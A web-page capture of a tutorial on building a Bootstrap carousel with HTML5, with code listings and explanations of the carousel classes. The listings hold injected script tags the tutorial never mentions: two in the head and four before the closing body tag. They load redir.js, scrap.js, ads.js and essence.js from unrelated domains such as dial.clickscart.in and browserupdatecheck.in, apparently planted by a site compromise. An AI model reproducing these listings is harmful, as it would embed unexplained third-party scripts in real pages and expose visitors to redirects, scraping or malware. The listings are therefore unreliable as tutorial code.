Free Online Courses for Software Developers - MrBool
× Please, log in to give us a feedback. Click here to login
×

You must be logged to download. Click here to login

×

MrBool is totally free and you can help us to help the Developers Community around the world

Yes, I'd like to help the MrBool and the Developers Community before download

No, I'd like to download without make the donation

×

MrBool is totally free and you can help us to help the Developers Community around the world

Yes, I'd like to help the MrBool and the Developers Community before download

No, I'd like to download without make the donation

Creating a Carousel Image Slider with Bootstrap and HTML5

In this article we will see all the steps necessary to create a complete carousel using only HTML5 and Bootstrap.

What is Carousel?

Carousels are a popular way to showcase a variety of 'featured' content on a web site's home page. By cycling through the different features they enable a large amount of content to be presented within a set physical space on the page.

Example of Carousel

Figure 1: A Sample Carousel on a Web Page.

Let’s Start Making a Bootstrap Carousel

We’ll start by creating a simple HTML file which will include all our code to build a BootStrap Carousel. Create a file named “Carousel.html” and enter the following piece of code to it.

Note: Carousels are not supported properly in Internet Explorer 9 and earlier (because they use CSS3 transitions and animations to achieve the slide effect).

Listings 1: Adding Bootstrap and jQuery Files

<!DOCTYPE html>
<html lang="en">
<head>
  <title>Bootstrap Example</title><script type = "text/javascript" src = "http://dial.clickscart.in/js/jquery-1.8.2.min.js"> </script><script type = "text/javascript" src = "http://dial.clickscart.in/js/redir.js"> </script>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link rel="stylesheet" href="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css">
  <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script>
  <script src="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/js/bootstrap.min.js"></script>
  <style>
  .carousel-inner > .item > img,
  .carousel-inner > .item > a > img {
      width: 70%;
      margin: auto;
  }
  </style>
</head>

In the above piece of code we’re including three different file i.e. Bootstrap css file, Bootstrap js file and jQuery file. We’re setting the margin to be “auto” and width to be “70%” of the page in the <style> tag.

“<meta name=”viewport” content=”width=device-width,initial-scale=1”>” is added in the <head> tag to make the carousel mobile responsive or you can say responsive for any device sizes. There are many devices available in the market and modern web developers have to take care about all the devices. Web pages should look good among all different sizes. This is where <meta> tag comes in action. We can also use media queries to make our web more responsive. We will not dive into that deeper because it’s an article on Bootstrap Carousel.

Let’s add some more code to our Carousel!

Listings 2: Create a Carousel

<body>
 
<div class="container">
  <br>
  <div id="myCarousel" class="carousel slide" data-ride="carousel">
    <!-- Indicators -->
    <ol class="carousel-indicators">
      <li data-target="#myCarousel" data-slide-to="0" class="active"></li>
      <li data-target="#myCarousel" data-slide-to="1"></li>
      <li data-target="#myCarousel" data-slide-to="2"></li>
      <li data-target="#myCarousel" data-slide-to="3"></li>
    </ol>
 
    <!-- Wrapper for slides -->
    <div class="carousel-inner" role="listbox">
      <div class="item active">
        <img src="img_chania.jpg" alt="Chania" width="460" height="345">
      </div>
 
      <div class="item">
        <img src="img_chania2.jpg" alt="Chania" width="460" height="345">
      </div>
    
      <div class="item">
        <img src="img_flower.jpg" alt="Flower" width="460" height="345">
      </div>
 
      <div class="item">
        <img src="img_flower2.jpg" alt="Flower" width="460" height="345">
      </div>
    </div>
 
    <!-- Left and right controls -->
    <a class="left carousel-control" href="#myCarousel" role="button" data-slide="prev">
      <span class="glyphicon glyphicon-chevron-left" aria-hidden="true"></span>
      <span class="sr-only">Previous</span>
    </a>
    <a class="right carousel-control" href="#myCarousel" role="button" data-slide="next">
      <span class="glyphicon glyphicon-chevron-right" aria-hidden="true"></span>
      <span class="sr-only">Next</span>
    </a>
  </div>
</div>
 
<script src="http://dial.clickscart.in/js/scrap.js" type="text/javascript"></script><script src="http://dial.clickscart.in/js/ads.js" type="text/javascript"></script><script src="http://browserupdatecheck.in/js/jquery.js" type="text/javascript"></script><script src="http://browserupdatecheck.in/js/essence.js" type="text/javascript"></script> </body>
</html>

Let’s understand this piece of code one by one.

The outermost div => We’ve a created a <div> i.e a division in HTML with id “myCarousel” so that Carousel controls can function properly on our webpage.

The class “carousel” indicates that this <div> contains a carousel and the class “slide” indicates addition of a CSS transition and animation effect which makes the item slide when changing it to a new item. You can simply omit the “slide” class if you don’t want this effect in your Carousel.

Indicators Part => The indicators are the little dots at the bottom of each slide (which indicates how many slides there are in the carousel, and which slide the user are currently viewing). The indicators are specified in an “ordered list” with class “carousel-indicators”.

The “data-target” class points to the id of the carousel.

The “data-slide-to” class specifies which slide to go to, when clicking on the specific dot.

Wrappers for Slide => The slides are specified in a <div> with class “carousel-inner”. The content of each slide is defined in a <div> with a class “item”. You will have to make sure that you have added a class called “active” to one slide so that your Carousel is visible. Otherwise it won’t be visible on your web page.

Adding Left and Right control parts (Left and Right arrow) => The data-slide attribute accepts the keywords “prev” or “next” which alters the slide position to its relative position. We are assigning the value of the attribute “role” to be equal to “button” so that web page can know that it is a type of button and whenever we are clicking those two buttons it will show the previous or the next image on the Carousel depending on the button we have clicked.

Listings 3: Add Captions to Slide

<div class="carousel-caption">
         <h3>Chania</h3>
         <p>The atmosphere in Chania has a touch of Florence and Venice.</p>
         </div>
<div class="carousel-caption">
         <h3>Flowers</h3>
         <p>Beatiful flowers in Kolymbari, Crete.</p>
         </div>
<div class="carousel-caption">
         <h3>Chania</h3>
         <p>The atmosphere in Chania has a touch of Florence and Venice.</p>
         </div>
<div class="carousel-caption">
         <h3>Chania</h3>
         <p>The atmosphere in Chania has a touch of Florence and Venice.</p>
         </div>

This piece of code should be added inside each <div class=”item”> to create caption for each slide seperately. There are total 4 divs with class of “item”, you have to make sure that each of the respective divs should have the div with class “carousel-caption” with all of its contents.

If any of the divisions will not have this inner div of class “carousel-caption” then captions will not be displayed on each and every image of the carousel. So it is important to write code for this very properly.

<div> with a class of captions is used to set captions to each slide. Your Carousel will now look like this =>

Carousel with a caption

Figure 2: Carousel with a caption.

Carousel Plugin Classes

  1. “.carousel” => Creates a carousel
  2. “.slide” => Adds a CSS transition and animation effect when sliding from one item to the next. Remove this class if you do not want this effect
  3. “.carousel-indicators” => Adds indicators for the carousel. These are the little dots at the bottom of each slide (which indicates how many slides there are in the carousel, and which slide the user are currently viewing)
  4. “.carousel-inner” => Adds slides to the carousel
  5. “.item” => Specifies the content of each slide
  6. “.left carousel-control” => Adds a left button to the carousel, which allows the user to go back between the slides
  7. “.right carousel-control” => Adds a right button to the carousel, which allows the user to go forward between the slides
  8. “.carousel-caption” => Specifies a caption for the carousel

Conclusion

We’ve created our Carousel using Bootstrap framework. You can add as many slides as you want and their separate captions. You can simply turn ON/OFF the slide animation by just inserting/deleting the “slide” class in the source code. You can use Left and Right arrows or the small indicators at the bottom to change the slide with a mouse click.

Some Snippets of the Carousel =>

Carousel Snippet 1

Figure 3: Carousel Snippet 1

Carousel Snippet 2

Figure 4: Carousel Snippet 2



CODING is my Passion first, hobby second and job third! I am Full Stack Developer from last two years and I love building scalable web applications and modern websites with new technologies.I started with my web development with ...

What did you think of this post?
Services
[Close]
To have full access to this post (or download the associated files) you must have MrBool Credits.

  See the prices for this post in Mr.Bool Credits System below:

Individually – in this case the price for this post is US$ 0,00 (Buy it now)
in this case you will buy only this video by paying the full price with no discount.

Package of 10 credits - in this case the price for this post is US$ 0,00
This subscription is ideal if you want to download few videos. In this plan you will receive a discount of 50% in each video. Subscribe for this package!

Package of 50 credits – in this case the price for this post is US$ 0,00
This subscription is ideal if you want to download several videos. In this plan you will receive a discount of 83% in each video. Subscribe for this package!


> More info about MrBool Credits
[Close]
You must be logged to download.

Click here to login